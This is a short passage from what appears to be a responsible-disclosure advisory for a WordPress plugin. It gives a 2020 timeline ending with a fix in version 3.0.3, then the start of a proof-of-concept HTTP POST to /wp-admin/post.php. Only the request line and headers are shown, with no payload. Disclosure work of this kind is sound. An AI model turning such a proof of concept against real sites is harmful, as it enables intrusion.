May 9th, 2020 - Confirmed & Escalated to WP Plugins Team
May 11st, 2020 - WP Plugins Team Investigating
June 16th, 2020 - v3.0.3 released, fixing the issue.
|Proof of Concept
POST /wp-admin/post.php HTTP/1.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:76.0) Gecko/20100101 Firefox/76.0
Accept-Encoding: gzip, deflate